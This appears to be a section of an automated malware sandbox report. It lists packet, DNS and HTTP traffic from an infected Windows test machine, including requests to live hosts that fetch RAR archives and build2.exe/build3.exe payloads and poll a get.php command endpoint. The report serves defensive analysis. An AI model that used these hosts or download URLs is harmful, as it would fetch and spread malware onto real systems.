Jul 25, 2024 01:48:32.914452076 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:32.914490938 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:32.914628029 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:32.926526070 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:32.926541090 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:33.504818916 CEST	799	49721	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:33.504918098 CEST	49721	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:33.505202055 CEST	49721	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:33.510029078 CEST	799	49721	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:33.885751009 CEST	799	49721	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:33.885845900 CEST	49721	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:33.885932922 CEST	799	49721	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:33.885977030 CEST	49721	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:33.903059006 CEST	49721	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:33.908023119 CEST	799	49721	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:33.953696012 CEST	49723	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:33.958729982 CEST	799	49723	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:33.959878922 CEST	49723	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:33.959878922 CEST	49723	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:33.964767933 CEST	799	49723	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:33.966051102 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:33.966540098 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:33.970351934 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:33.970359087 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:33.970674992 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:33.970767021 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:33.972585917 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:34.020488977 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:34.333674908 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:34.333776951 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:34.333805084 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:34.333834887 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:34.334564924 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:34.334584951 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:34.350328922 CEST	799	49723	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:34.350342035 CEST	799	49723	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:34.350511074 CEST	49723	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:34.377865076 CEST	49723	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:34.382888079 CEST	799	49723	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:34.408194065 CEST	49724	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:34.413033009 CEST	80	49724	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:34.413100958 CEST	49724	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:34.413223982 CEST	49724	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:34.417967081 CEST	80	49724	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:34.823451996 CEST	49725	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:34.828681946 CEST	80	49725	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:34.828743935 CEST	49725	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:34.828891039 CEST	49725	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:34.835458994 CEST	80	49725	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:36.455295086 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:36.455333948 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:36.455511093 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:36.465481043 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:36.465497017 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:36.972985983 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:36.973078012 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:36.978245020 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:36.978252888 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:36.978662014 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:36.978790045 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:36.980853081 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:37.024496078 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:37.337624073 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:37.337690115 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:37.337701082 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:37.337749004 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:37.337763071 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:37.337769985 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:37.337820053 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:37.338032007 CEST	49727	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:37.338048935 CEST	443	49727	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:37.403886080 CEST	49728	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:37.408726931 CEST	80	49728	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:37.408890963 CEST	49728	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:37.408890963 CEST	49728	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:37.413711071 CEST	80	49728	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:44.744889021 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:44.744937897 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:44.745001078 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:44.755299091 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:44.755326033 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.255423069 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.255527020 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.259782076 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.259793997 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.260047913 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.260123968 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.261698961 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.304522991 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.614710093 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.614777088 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.614790916 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.614830971 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.614836931 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.614877939 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.614882946 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.614981890 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:45.615046024 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.615180016 CEST	49731	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:45.615201950 CEST	443	49731	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:52.377360106 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:52.377403975 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:52.377490997 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:52.384603024 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:52.384617090 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:52.868419886 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:52.868508101 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:52.872579098 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:52.872591972 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:52.872883081 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:52.872937918 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:52.877799988 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:52.924503088 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:53.240051031 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:53.240155935 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:53.240201950 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:53.240395069 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:53.240395069 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:53.550262928 CEST	49733	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:53.550292015 CEST	443	49733	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:55.791726112 CEST	80	49724	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:55.791930914 CEST	49724	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:55.792506933 CEST	49724	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:55.797454119 CEST	80	49724	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:56.212579966 CEST	80	49725	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:56.212786913 CEST	49725	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:56.212788105 CEST	49725	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:56.213521957 CEST	49734	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:56.217848063 CEST	80	49725	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:56.218590975 CEST	80	49734	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:56.218669891 CEST	49734	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:56.218774080 CEST	49734	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:56.223647118 CEST	80	49734	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:58.792476892 CEST	80	49728	92.246.89.93	192.168.2.6
Jul 25, 2024 01:48:58.792665005 CEST	49728	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:58.792776108 CEST	49728	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:48:58.800158024 CEST	80	49728	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:00.863704920 CEST	49735	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:00.870472908 CEST	80	49735	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:00.870677948 CEST	49735	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:00.871059895 CEST	49735	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:00.876463890 CEST	80	49735	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:03.847945929 CEST	49736	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:03.852829933 CEST	80	49736	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:03.852904081 CEST	49736	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:03.853013992 CEST	49736	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:03.857820034 CEST	80	49736	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:17.584811926 CEST	80	49734	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:17.584875107 CEST	49734	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:17.587945938 CEST	49734	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:17.598177910 CEST	80	49734	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:22.258852005 CEST	80	49735	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:22.258939981 CEST	49735	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:22.259069920 CEST	49735	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:22.263971090 CEST	80	49735	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:25.246736050 CEST	80	49736	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:25.246809006 CEST	49736	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:25.246901989 CEST	49736	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:25.252952099 CEST	80	49736	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:27.320966005 CEST	49739	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:27.326915979 CEST	80	49739	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:27.327037096 CEST	49739	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:27.327140093 CEST	49739	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:27.332076073 CEST	80	49739	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:30.332469940 CEST	49740	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:30.337570906 CEST	80	49740	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:30.337678909 CEST	49740	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:30.337866068 CEST	49740	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:30.342624903 CEST	80	49740	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:49.181737900 CEST	80	49739	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:49.181756020 CEST	80	49739	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:49.181854963 CEST	49739	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:49.182084084 CEST	49739	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:49.186805964 CEST	80	49739	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:51.747544050 CEST	80	49740	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:51.747952938 CEST	49740	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:51.892508030 CEST	49740	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:51.900088072 CEST	80	49740	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:54.275862932 CEST	49742	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:54.280742884 CEST	80	49742	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:54.280843019 CEST	49742	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:54.280915022 CEST	49742	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:54.285612106 CEST	80	49742	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:57.005708933 CEST	49743	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:57.011274099 CEST	80	49743	92.246.89.93	192.168.2.6
Jul 25, 2024 01:49:57.011585951 CEST	49743	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:57.011585951 CEST	49743	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:49:57.016601086 CEST	80	49743	92.246.89.93	192.168.2.6
Jul 25, 2024 01:50:15.665956020 CEST	80	49742	92.246.89.93	192.168.2.6
Jul 25, 2024 01:50:15.666107893 CEST	49742	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:50:15.666186094 CEST	49742	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:50:15.671046972 CEST	80	49742	92.246.89.93	192.168.2.6
Jul 25, 2024 01:50:18.398334026 CEST	80	49743	92.246.89.93	192.168.2.6
Jul 25, 2024 01:50:18.398437977 CEST	49743	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:50:18.398535967 CEST	49743	80	192.168.2.6	92.246.89.93
Jul 25, 2024 01:50:18.406111956 CEST	80	49743	92.246.89.93	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 01:48:21.290719986 CEST	54284	53	192.168.2.6	1.1.1.1
Jul 25, 2024 01:48:21.387645006 CEST	53	54284	1.1.1.1	192.168.2.6
Jul 25, 2024 01:48:26.897435904 CEST	61356	53	192.168.2.6	1.1.1.1
Jul 25, 2024 01:48:26.906100035 CEST	53	61356	1.1.1.1	192.168.2.6
Jul 25, 2024 01:48:34.396225929 CEST	58018	53	192.168.2.6	1.1.1.1
Jul 25, 2024 01:48:34.399188995 CEST	62836	53	192.168.2.6	1.1.1.1
Jul 25, 2024 01:48:34.407555103 CEST	53	62836	1.1.1.1	192.168.2.6
Jul 25, 2024 01:48:34.822479963 CEST	53	58018	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 01:48:21.290719986 CEST	192.168.2.6	1.1.1.1	0xba5	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 25, 2024 01:48:26.897435904 CEST	192.168.2.6	1.1.1.1	0x15d6	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 25, 2024 01:48:34.396225929 CEST	192.168.2.6	1.1.1.1	0x1f1b	Standard query (0)	zerit.top	A (IP address)	IN (0x0001)	false
Jul 25, 2024 01:48:34.399188995 CEST	192.168.2.6	1.1.1.1	0xcb97	Standard query (0)	fuyt.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 01:48:21.387645006 CEST	1.1.1.1	192.168.2.6	0xba5	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 25, 2024 01:48:26.906100035 CEST	1.1.1.1	192.168.2.6	0x15d6	No error (0)	api.2ip.ua	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 25, 2024 01:48:26.906100035 CEST	1.1.1.1	192.168.2.6	0x15d6	No error (0)	api.2ip.ua	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 25, 2024 01:48:34.407555103 CEST	1.1.1.1	192.168.2.6	0xcb97	No error (0)	fuyt.org	92.246.89.93	A (IP address)	IN (0x0001)	false
Jul 25, 2024 01:48:34.822479963 CEST	1.1.1.1	192.168.2.6	0x1f1b	No error (0)	zerit.top	92.246.89.93	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

ddos.dnsnb8.net:799

fuyt.org

zerit.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	44.221.84.105	799	3664	C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:21.398307085 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	44.221.84.105	799	3664	C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:24.936594009 CEST	288	OUT	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49718	44.221.84.105	799	736	C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:30.468887091 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49719	44.221.84.105	799	736	C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:30.987873077 CEST	288	OUT	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49720	44.221.84.105	799	736	C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:32.100264072 CEST	288	OUT	GET /cj//k3.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49721	44.221.84.105	799	736	C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:33.505202055 CEST	288	OUT	GET /cj//k4.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49723	44.221.84.105	799	736	C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:33.959878922 CEST	288	OUT	GET /cj//k5.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49724	92.246.89.93	80	7020	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:34.413223982 CEST	142	OUT	GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49725	92.246.89.93	80	7020	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:34.828891039 CEST	89	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zerit.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49728	92.246.89.93	80	1492	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:37.408890963 CEST	131	OUT	GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49734	92.246.89.93	80	7020	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:48:56.218774080 CEST	93	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49735	92.246.89.93	80	7020	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:49:00.871059895 CEST	142	OUT	GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49736	92.246.89.93	80	1492	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:49:03.853013992 CEST	131	OUT	GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49739	92.246.89.93	80	7020	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:49:27.327140093 CEST	142	OUT	GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49740	92.246.89.93	80	1492	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:49:30.337866068 CEST	131	OUT	GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49742	92.246.89.93	80	7020	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:49:54.280915022 CEST	142	OUT	GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49743	92.246.89.93	80	1492	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 01:49:57.011585951 CEST	131	OUT	GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

